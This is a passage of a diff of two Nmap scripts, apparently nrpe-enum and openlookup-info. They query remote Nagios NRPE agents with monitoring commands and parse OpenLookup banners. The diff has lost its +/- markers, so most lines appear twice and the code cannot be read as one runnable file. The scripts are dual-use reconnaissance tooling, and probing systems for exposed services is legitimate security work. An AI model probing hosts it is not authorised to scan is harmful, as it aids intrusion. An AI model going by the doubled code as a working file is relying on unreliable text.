||||
"ssl",
|
||||
"tcp"
|
||||
}
|
||||
|
||||
local NRPE_STATES = {
|
||||
[0] = "OK",
|
||||
[1] = "WARNING",
|
||||
[2] ="CRITICAL",
|
||||
[3] = "UNKNOWN"
|
||||
[0] = "OK",
|
||||
[1] = "WARNING",
|
||||
[2] ="CRITICAL",
|
||||
[3] = "UNKNOWN"
|
||||
}
|
||||
|
||||
local NRPE_COMMANDS = {
|
||||
"check_hda1",
|
||||
"check_load",
|
||||
"check_total_procs",
|
||||
"check_users",
|
||||
"check_zombie_procs"
|
||||
"check_hda1",
|
||||
"check_load",
|
||||
"check_total_procs",
|
||||
"check_users",
|
||||
"check_zombie_procs"
|
||||
}
|
||||
|
||||
local CRC32_CONSTANTS = {
|
||||
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
|
||||
0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
|
||||
0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
|
||||
0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
|
||||
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
|
||||
0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
|
||||
0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
|
||||
0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
|
||||
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
|
||||
0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
|
||||
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
|
||||
0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
|
||||
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
|
||||
0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
|
||||
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
|
||||
0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
|
||||
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
|
||||
0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
|
||||
0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
|
||||
0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
|
||||
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
|
||||
0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
|
||||
0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
|
||||
0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
|
||||
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
|
||||
0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
|
||||
0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
|
||||
0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
|
||||
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
|
||||
0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
|
||||
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
|
||||
0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
|
||||
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
|
||||
0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
|
||||
0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
|
||||
0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
|
||||
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
|
||||
0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
|
||||
0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
|
||||
0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
|
||||
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
|
||||
0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
|
||||
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
|
||||
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
|
||||
0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
|
||||
0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
|
||||
0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
|
||||
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
|
||||
0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
|
||||
0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
|
||||
0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
|
||||
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
|
||||
0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
|
||||
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
|
||||
0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
|
||||
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
|
||||
0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
|
||||
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
|
||||
0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
|
||||
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
|
||||
0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
|
||||
0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
|
||||
0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
|
||||
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
|
||||
0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
|
||||
0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
|
||||
0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
|
||||
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
|
||||
0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
|
||||
0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
|
||||
0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
|
||||
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
|
||||
0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
|
||||
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
|
||||
0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
|
||||
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
|
||||
0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
|
||||
0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
|
||||
0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
|
||||
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
|
||||
0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
|
||||
0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
|
||||
0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
|
||||
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
|
||||
0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
|
||||
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
|
||||
}
|
||||
|
||||
local crc32 = function(s)
|
||||
local crc = 0xFFFFFFFF
|
||||
for i = 1, #s do
|
||||
local p1 = s:byte(i)
|
||||
local p2 = bit.bxor(crc, p1)
|
||||
local p3 = bit.band(p2, 0xFF)
|
||||
local p4 = bit.band(p3)
|
||||
local p5 = CRC32_CONSTANTS[p4 + 1]
|
||||
local p6 = bit.rshift(crc, 8)
|
||||
local crc = 0xFFFFFFFF
|
||||
for i = 1, #s do
|
||||
local p1 = s:byte(i)
|
||||
local p2 = bit.bxor(crc, p1)
|
||||
local p3 = bit.band(p2, 0xFF)
|
||||
local p4 = bit.band(p3)
|
||||
local p5 = CRC32_CONSTANTS[p4 + 1]
|
||||
local p6 = bit.rshift(crc, 8)
|
||||
|
||||
crc = bit.bxor(p6, p5)
|
||||
end
|
||||
crc = bit.bxor(p6, p5)
|
||||
end
|
||||
|
||||
return bit.bxor(crc, 0xFFFFFFFF)
|
||||
return bit.bxor(crc, 0xFFFFFFFF)
|
||||
end
|
||||
|
||||
local nrpe_open = function(host, port)
|
||||
for _, proto in pairs(NRPE_PROTOCOLS) do
|
||||
local sock = nmap.new_socket()
|
||||
sock:set_timeout(2000)
|
||||
local status, err = sock:connect(host, port, proto)
|
||||
if status then
|
||||
NRPE_PROTOCOLS = {proto}
|
||||
return true, sock
|
||||
end
|
||||
for _, proto in pairs(NRPE_PROTOCOLS) do
|
||||
local sock = nmap.new_socket()
|
||||
sock:set_timeout(2000)
|
||||
local status, err = sock:connect(host, port, proto)
|
||||
if status then
|
||||
NRPE_PROTOCOLS = {proto}
|
||||
return true, sock
|
||||
end
|
||||
|
||||
stdnse.print_debug(2, "Can't connect using %s: %s", proto, err)
|
||||
sock:close()
|
||||
end
|
||||
stdnse.print_debug(2, "Can't connect using %s: %s", proto, err)
|
||||
sock:close()
|
||||
end
|
||||
|
||||
return false, nil
|
||||
return false, nil
|
||||
end
|
||||
|
||||
local nrpe_write = function(cmd)
|
||||
-- Create request packet, before checksum.
|
||||
local pkt = ""
|
||||
pkt = pkt .. bin.pack(">S", 2)
|
||||
pkt = pkt .. bin.pack(">S", 1)
|
||||
pkt = pkt .. bin.pack(">I", 0)
|
||||
pkt = pkt .. bin.pack(">S", 0)
|
||||
pkt = pkt .. bin.pack("A", cmd)
|
||||
pkt = pkt .. string.char(0x00):rep(1024 - #cmd)
|
||||
pkt = pkt .. bin.pack(">S", 0)
|
||||
-- Create request packet, before checksum.
|
||||
local pkt = ""
|
||||
pkt = pkt .. bin.pack(">S", 2)
|
||||
pkt = pkt .. bin.pack(">S", 1)
|
||||
pkt = pkt .. bin.pack(">I", 0)
|
||||
pkt = pkt .. bin.pack(">S", 0)
|
||||
pkt = pkt .. bin.pack("A", cmd)
|
||||
pkt = pkt .. string.char(0x00):rep(1024 - #cmd)
|
||||
pkt = pkt .. bin.pack(">S", 0)
|
||||
|
||||
-- Calculate the checksum, and insert it into the packet.
|
||||
pkt = bin.pack(
|
||||
"A>IA",
|
||||
string.char(pkt:byte(1, 4)),
|
||||
crc32(pkt),
|
||||
string.char(pkt:byte(9, #pkt))
|
||||
)
|
||||
-- Calculate the checksum, and insert it into the packet.
|
||||
pkt = bin.pack(
|
||||
"A>IA",
|
||||
string.char(pkt:byte(1, 4)),
|
||||
crc32(pkt),
|
||||
string.char(pkt:byte(9, #pkt))
|
||||
)
|
||||
|
||||
return pkt
|
||||
return pkt
|
||||
end
|
||||
|
||||
local nrpe_read = function(pkt)
|
||||
local i
|
||||
local result = {}
|
||||
local i
|
||||
local result = {}
|
||||
|
||||
-- Parse packet.
|
||||
i, result.version = bin.unpack(">S", pkt, i)
|
||||
i, result.type = bin.unpack(">S", pkt, i)
|
||||
i, result.crc32 = bin.unpack(">I", pkt, i)
|
||||
i, result.state = bin.unpack(">S", pkt, i)
|
||||
i, result.data = bin.unpack("z", pkt, i)
|
||||
-- Parse packet.
|
||||
i, result.version = bin.unpack(">S", pkt, i)
|
||||
i, result.type = bin.unpack(">S", pkt, i)
|
||||
i, result.crc32 = bin.unpack(">I", pkt, i)
|
||||
i, result.state = bin.unpack(">S", pkt, i)
|
||||
i, result.data = bin.unpack("z", pkt, i)
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
local nrpe_check = function(host, port, cmd)
|
||||
-- Create connection.
|
||||
local status, sock = nrpe_open(host, port)
|
||||
if not status then
|
||||
return false, nil
|
||||
end
|
||||
-- Create connection.
|
||||
local status, sock = nrpe_open(host, port)
|
||||
if not status then
|
||||
return false, nil
|
||||
end
|
||||
|
||||
-- Send query.
|
||||
local status, err = sock:send(nrpe_write(cmd))
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to send NRPE query for command %s: %s", cmd, err)
|
||||
sock:close()
|
||||
return false, nil
|
||||
end
|
||||
-- Send query.
|
||||
local status, err = sock:send(nrpe_write(cmd))
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to send NRPE query for command %s: %s", cmd, err)
|
||||
sock:close()
|
||||
return false, nil
|
||||
end
|
||||
|
||||
-- Receive response.
|
||||
local status, resp = sock:receive()
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Can't read NRPE response: %s", resp)
|
||||
sock:close()
|
||||
return false, nil
|
||||
end
|
||||
-- Receive response.
|
||||
local status, resp = sock:receive()
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Can't read NRPE response: %s", resp)
|
||||
sock:close()
|
||||
return false, nil
|
||||
end
|
||||
|
||||
sock:close()
|
||||
sock:close()
|
||||
|
||||
return true, nrpe_read(resp)
|
||||
return true, nrpe_read(resp)
|
||||
end
|
||||
|
||||
portrule = shortport.port_or_service(5666, "nrpe")
|
||||
|
||||
action = function(host, port)
|
||||
-- Get script arguments.
|
||||
local cmds = stdnse.get_script_args("nrpe-enum.cmds")
|
||||
if cmds then
|
||||
cmds = stdnse.strsplit(":", cmds)
|
||||
else
|
||||
cmds = NRPE_COMMANDS
|
||||
end
|
||||
-- Get script arguments.
|
||||
local cmds = stdnse.get_script_args("nrpe-enum.cmds")
|
||||
if cmds then
|
||||
cmds = stdnse.strsplit(":", cmds)
|
||||
else
|
||||
cmds = NRPE_COMMANDS
|
||||
end
|
||||
|
||||
-- Create results table.
|
||||
local results = tab.new()
|
||||
tab.addrow(
|
||||
results,
|
||||
"Command",
|
||||
"State",
|
||||
"Response"
|
||||
)
|
||||
-- Create results table.
|
||||
local results = tab.new()
|
||||
tab.addrow(
|
||||
results,
|
||||
"Command",
|
||||
"State",
|
||||
"Response"
|
||||
)
|
||||
|
||||
-- Try each NRPE command, and collect the results.
|
||||
for _, cmd in pairs(cmds) do
|
||||
local status, result = nrpe_check(host, port, cmd)
|
||||
if status then
|
||||
tab.addrow(
|
||||
results,
|
||||
cmd,
|
||||
NRPE_STATES[result.state],
|
||||
result.data
|
||||
)
|
||||
end
|
||||
end
|
||||
-- Try each NRPE command, and collect the results.
|
||||
for _, cmd in pairs(cmds) do
|
||||
local status, result = nrpe_check(host, port, cmd)
|
||||
if status then
|
||||
tab.addrow(
|
||||
results,
|
||||
cmd,
|
||||
NRPE_STATES[result.state],
|
||||
result.data
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
-- If no queries generated responses, don't output anything.
|
||||
if #results == 1 then
|
||||
return
|
||||
end
|
||||
-- If no queries generated responses, don't output anything.
|
||||
if #results == 1 then
|
||||
return
|
||||
end
|
||||
|
||||
-- Record service description.
|
||||
port.version.name = "nrpe"
|
||||
port.version.product = "Nagios Remote Plugin Executor"
|
||||
nmap.set_port_version(host, port)
|
||||
-- Record service description.
|
||||
port.version.name = "nrpe"
|
||||
port.version.product = "Nagios Remote Plugin Executor"
|
||||
nmap.set_port_version(host, port)
|
||||
|
||||
-- Format table, without trailing newline.
|
||||
results = tab.dump(results)
|
||||
results = results:sub(1, #results - 1)
|
||||
-- Format table, without trailing newline.
|
||||
results = tab.dump(results)
|
||||
results = results:sub(1, #results - 1)
|
||||
|
||||
return "\n" .. results
|
||||
return "\n" .. results
|
||||
end
|
||||
|
||||
@@ -35,23 +35,23 @@ portrule = shortport.port_or_service(5850, "openlookup")
|
||||
|
||||
-- parses a Netstring element
|
||||
local function parsechunk(data)
|
||||
local parts = stdnse.strsplit(":", data)
|
||||
if #parts < 2 then
|
||||
return nil, data
|
||||
end
|
||||
local head = table.remove(parts, 1)
|
||||
local size = tonumber(head)
|
||||
if not size then
|
||||
return nil, data
|
||||
end
|
||||
local body = stdnse.strjoin(":", parts)
|
||||
if #body < size then
|
||||
return nil, data
|
||||
end
|
||||
local chunk = string.sub(body, 1, size)
|
||||
local skip = #chunk + string.len(",")
|
||||
local rest = string.sub(body, skip + 1)
|
||||
return chunk, rest
|
||||
local parts = stdnse.strsplit(":", data)
|
||||
if #parts < 2 then
|
||||
return nil, data
|
||||
end
|
||||
local head = table.remove(parts, 1)
|
||||
local size = tonumber(head)
|
||||
if not size then
|
||||
return nil, data
|
||||
end
|
||||
local body = stdnse.strjoin(":", parts)
|
||||
if #body < size then
|
||||
return nil, data
|
||||
end
|
||||
local chunk = string.sub(body, 1, size)
|
||||
local skip = #chunk + string.len(",")
|
||||
local rest = string.sub(body, skip + 1)
|
||||
return chunk, rest
|
||||
end
|
||||
|
||||
-- NSON helpers
|
||||
@@ -59,203 +59,203 @@ end
|
||||
|
||||
-- parses an NSON int
|
||||
local function parseint(data)
|
||||
if string.sub(data, 1, 1) ~= "i" then
|
||||
return
|
||||
end
|
||||
local text = string.sub(data, 2)
|
||||
local number = tonumber(text)
|
||||
return number
|
||||
if string.sub(data, 1, 1) ~= "i" then
|
||||
return
|
||||
end
|
||||
local text = string.sub(data, 2)
|
||||
local number = tonumber(text)
|
||||
return number
|
||||
end
|
||||
|
||||
-- parses an NSON float
|
||||
local function parsefloat(data)
|
||||
if string.sub(data, 1, 1) ~= "f" then
|
||||
return
|
||||
end
|
||||
local text = string.sub(data, 2)
|
||||
local number = tonumber(text)
|
||||
return number
|
||||
if string.sub(data, 1, 1) ~= "f" then
|
||||
return
|
||||
end
|
||||
local text = string.sub(data, 2)
|
||||
local number = tonumber(text)
|
||||
return number
|
||||
end
|
||||
|
||||
-- parses an NSON string
|
||||
local function parsestring(data)
|
||||
if string.sub(data, 1, 1) ~= "s" then
|
||||
return
|
||||
end
|
||||
return string.sub(data, 2)
|
||||
if string.sub(data, 1, 1) ~= "s" then
|
||||
return
|
||||
end
|
||||
return string.sub(data, 2)
|
||||
end
|
||||
|
||||
-- parses an NSON int, float, or string
|
||||
local function parsesimple(data)
|
||||
local i = parseint(data)
|
||||
local f = parsefloat(data)
|
||||
local s = parsestring(data)
|
||||
return i or f or s
|
||||
local i = parseint(data)
|
||||
local f = parsefloat(data)
|
||||
local s = parsestring(data)
|
||||
return i or f or s
|
||||
end
|
||||
|
||||
-- parses an NSON dictionary
|
||||
local function parsedict(data)
|
||||
if #data < 1 then
|
||||
return
|
||||
end
|
||||
if string.sub(data, 1, 1) ~= "d" then
|
||||
return
|
||||
end
|
||||
local rest = string.sub(data, 2)
|
||||
local dict = {}
|
||||
while #rest > 0 do
|
||||
local chunk, key, value
|
||||
chunk, rest = parsechunk(rest)
|
||||
if not chunk then
|
||||
return
|
||||
end
|
||||
key = parsestring(chunk)
|
||||
value, rest = parsechunk(rest)
|
||||
if not value then
|
||||
return
|
||||
end
|
||||
dict[key] = value
|
||||
end
|
||||
return dict
|
||||
if #data < 1 then
|
||||
return
|
||||
end
|
||||
if string.sub(data, 1, 1) ~= "d" then
|
||||
return
|
||||
end
|
||||
local rest = string.sub(data, 2)
|
||||
local dict = {}
|
||||
while #rest > 0 do
|
||||
local chunk, key, value
|
||||
chunk, rest = parsechunk(rest)
|
||||
if not chunk then
|
||||
return
|
||||
end
|
||||
key = parsestring(chunk)
|
||||
value, rest = parsechunk(rest)
|
||||
if not value then
|
||||
return
|
||||
end
|
||||
dict[key] = value
|
||||
end
|
||||
return dict
|
||||
end
|
||||
|
||||
-- parses an NSON array
|
||||
local function parsearray(data)
|
||||
if #data < 1 then
|
||||
return
|
||||
end
|
||||
if string.sub(data, 1, 1) ~= "a" then
|
||||
return
|
||||
end
|
||||
local rest = string.sub(data, 2)
|
||||
local array = {}
|
||||
while #rest > 0 do
|
||||
local value
|
||||
value, rest = parsechunk(rest)
|
||||
if not value then
|
||||
return
|
||||
end
|
||||
table.insert(array, value)
|
||||
end
|
||||
return array
|
||||
if #data < 1 then
|
||||
return
|
||||
end
|
||||
if string.sub(data, 1, 1) ~= "a" then
|
||||
return
|
||||
end
|
||||
local rest = string.sub(data, 2)
|
||||
local array = {}
|
||||
while #rest > 0 do
|
||||
local value
|
||||
value, rest = parsechunk(rest)
|
||||
if not value then
|
||||
return
|
||||
end
|
||||
table.insert(array, value)
|
||||
end
|
||||
return array
|
||||
end
|
||||
|
||||
-- OpenLookup specific stuff
|
||||
|
||||
local function formataddress(data)
|
||||
local parts = parsearray(data)
|
||||
if not parts then
|
||||
return
|
||||
end
|
||||
if #parts < 2 then
|
||||
return
|
||||
end
|
||||
local ip = parsestring(parts[1])
|
||||
if not ip then
|
||||
return
|
||||
end
|
||||
local port = parseint(parts[2])
|
||||
if not port then
|
||||
return
|
||||
end
|
||||
return ip .. ":" .. port
|
||||
local parts = parsearray(data)
|
||||
if not parts then
|
||||
return
|
||||
end
|
||||
if #parts < 2 then
|
||||
return
|
||||
end
|
||||
local ip = parsestring(parts[1])
|
||||
if not ip then
|
||||
return
|
||||
end
|
||||
local port = parseint(parts[2])
|
||||
if not port then
|
||||
return
|
||||
end
|
||||
return ip .. ":" .. port
|
||||
end
|
||||
|
||||
local function formattime(data)
|
||||
local time = parsefloat(data)
|
||||
if not time then
|
||||
return
|
||||
end
|
||||
local human = stdnse.format_timestamp(time)
|
||||
return time .. " (" .. human .. ")"
|
||||
local time = parsefloat(data)
|
||||
if not time then
|
||||
return
|
||||
end
|
||||
local human = stdnse.format_timestamp(time)
|
||||
return time .. " (" .. human .. ")"
|
||||
end
|
||||
|
||||
local function formatkey(key)
|
||||
local parts = stdnse.strsplit("_", key)
|
||||
return stdnse.strjoin(" ", parts)
|
||||
local parts = stdnse.strsplit("_", key)
|
||||
return stdnse.strjoin(" ", parts)
|
||||
end
|
||||
|
||||
local function formatvalue(key, nson)
|
||||
local value
|
||||
if key == "your_address" then
|
||||
value = formataddress(nson)
|
||||
elseif key == "timestamp" then
|
||||
value = formattime(nson)
|
||||
else
|
||||
value = parsesimple(nson)
|
||||
end
|
||||
if not value then
|
||||
value = "<" .. #nson .. "B of data>"
|
||||
end
|
||||
return value
|
||||
local value
|
||||
if key == "your_address" then
|
||||
value = formataddress(nson)
|
||||
elseif key == "timestamp" then
|
||||
value = formattime(nson)
|
||||
else
|
||||
value = parsesimple(nson)
|
||||
end
|
||||
if not value then
|
||||
value = "<" .. #nson .. "B of data>"
|
||||
end
|
||||
return value
|
||||
end
|
||||
|
||||
local function format(rawkey, nson)
|
||||
local key = formatkey(rawkey)
|
||||
local value = formatvalue(rawkey, nson)
|
||||
return key .. ": " .. value
|
||||
local key = formatkey(rawkey)
|
||||
local value = formatvalue(rawkey, nson)
|
||||
return key .. ": " .. value
|
||||
end
|
||||
|
||||
function formatoptions(header)
|
||||
local msg = parsedict(header)
|
||||
if not msg then
|
||||
return
|
||||
end
|
||||
local rawmeth = msg["method"]
|
||||
if not rawmeth then
|
||||
stdnse.print_debug(2, "header missing method field")
|
||||
return
|
||||
end
|
||||
local method = parsestring(rawmeth)
|
||||
if not method then
|
||||
return
|
||||
end
|
||||
if method ~= "hello" then
|
||||
stdnse.print_debug(1, "expecting hello, got " .. method .. " instead")
|
||||
return
|
||||
end
|
||||
local rawopts = msg["options"]
|
||||
if not rawopts then
|
||||
return {}
|
||||
end
|
||||
local options = parsedict(rawopts)
|
||||
if not options then
|
||||
return
|
||||
end
|
||||
local formatted = {}
|
||||
for key, nson in pairs(options) do
|
||||
local tmp = format(key, nson)
|
||||
if tmp then
|
||||
table.insert(formatted, tmp)
|
||||
end
|
||||
end
|
||||
return formatted
|
||||
local msg = parsedict(header)
|
||||
if not msg then
|
||||
return
|
||||
end
|
||||
local rawmeth = msg["method"]
|
||||
if not rawmeth then
|
||||
stdnse.print_debug(2, "header missing method field")
|
||||
return
|
||||
end
|
||||
local method = parsestring(rawmeth)
|
||||
if not method then
|
||||
return
|
||||
end
|
||||
if method ~= "hello" then
|
||||
stdnse.print_debug(1, "expecting hello, got " .. method .. " instead")
|
||||
return
|
||||
end
|
||||
local rawopts = msg["options"]
|
||||
if not rawopts then
|
||||
return {}
|
||||
end
|
||||
local options = parsedict(rawopts)
|
||||
if not options then
|
||||
return
|
||||
end
|
||||
local formatted = {}
|
||||
for key, nson in pairs(options) do
|
||||
local tmp = format(key, nson)
|
||||
if tmp then
|
||||
table.insert(formatted, tmp)
|
||||
end
|
||||
end
|
||||
return formatted
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local status, banner = comm.get_banner(host, port)
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
local header, _ = parsechunk(banner)
|
||||
if not header then
|
||||
return
|
||||
end
|
||||
local options = formatoptions(header)
|
||||
if not options then
|
||||
return
|
||||
end
|
||||
port.version.name = "openlookup"
|
||||
local version = options["version"]
|
||||
if version then
|
||||
port.version.version = version
|
||||
end
|
||||
nmap.set_port_version(host, port)
|
||||
if #options < 1 then
|
||||
return
|
||||
end
|
||||
local response = {}
|
||||
table.insert(response, options)
|
||||
return stdnse.format_output(true, response)
|
||||
local status, banner = comm.get_banner(host, port)
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
local header, _ = parsechunk(banner)
|
||||
if not header then
|
||||
return
|
||||
end
|
||||
local options = formatoptions(header)
|
||||
if not options then
|
||||
return
|
||||
end
|
||||
port.version.name = "openlookup"
|
||||
local version = options["version"]
|
||||
if version then
|
||||
port.version.version = version
|
||||
end
|
||||
nmap.set_port_version(host, port)
|
||||
if #options < 1 then
|
||||
return
|
||||
end
|
||||
local response = {}
|
||||
table.insert(response, options)
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
|
||||
